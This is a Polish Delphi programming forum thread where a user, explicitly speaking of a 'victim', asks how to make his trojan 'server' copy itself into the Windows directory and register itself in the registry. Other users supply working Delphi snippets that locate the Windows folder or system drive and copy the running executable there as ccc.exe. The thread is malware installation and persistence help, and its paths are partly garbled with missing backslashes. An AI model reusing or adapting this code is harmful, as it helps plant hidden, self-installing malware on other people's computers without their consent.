Delphi - Instalowanie servera w zależności od dysku Windowsa

[fdavid]

Chcę aby mój server kopiował się do pliku np. ccc.exe w katalogu Windows, lecz nie wiem na którym dysku ofiara ma zainstalowanego Windowsa. Czy mogę zrobić tak:

reg.WriteString('CCC','C:WINDOWSccc.exe');
reg.WriteString('CCC','D:WINDOWSccc.exe');
reg.WriteString('CCC','E:WINDOWSccc.exe');

copyfile(pchar(paramstr(0)),pchar('C:WINDOWSccc.exe'),true);
copyfile(pchar(paramstr(0)),pchar('D:WINDOWSccc.exe'),true);
copyfile(pchar(paramstr(0)),pchar('E:WINDOWSccc.exe'),true);

???? Czy nie wywali błędu że nie ma jednej ze ścieżek??

 

[rafal]

Sprobuj tego :

var

WinSys : Pchar;

Win : string;

begin

WinSys := StrAlloc(MAX_PATH+1);

GetSystemDirectory(WinSys,MAX_PATH);

GetWindowsDirectory(WinSys,MAX_PATH);

Win := Strupper(WinSys);

CopyFile(Pchar(paramstr(0)),Pchar(Win+'ccc.exe'),True);

 

[fdavid]

maSs - ale ta instrukcja co podałeś wyświetla ścieżkę do Windowsa (np. C:WINDOWS) a mi chodzi o to żeby samą literę dysku wyświetlała gdzie winda zainstalowana....
Bo np. jak będę chciał server umieścić w crogram files to mi nie umieści...

 

[Kornik52]

var

WinSys : Pchar;

Win : string;

Partycja:string;

begin

WinSys := StrAlloc(MAX_PATH+1);

GetSystemDirectory(WinSys,MAX_PATH);

GetWindowsDirectory(WinSys,MAX_PATH);

Win := Strupper(WinSys);

Partycja := Copy(Win, 0, 3);

CopyFile(Pchar(paramstr(0)),Pchar(Partycja +'ccc.exe'),True);

Plik zostanie skopiowany do C:ccc.exe

 

[rafal]

Chcę aby mój server kopiował się do pliku np. ccc.exe w katalogu Windows, lecz nie wiem na którym dysku ofiara ma zainstalowanego Windowsa.[/b]

to nastepnym razem precyzuj swoje zapytanie, bo pytasz o windowsa a chodzi Ci o partycje systemowa ;-)

 

[fdavid]

THX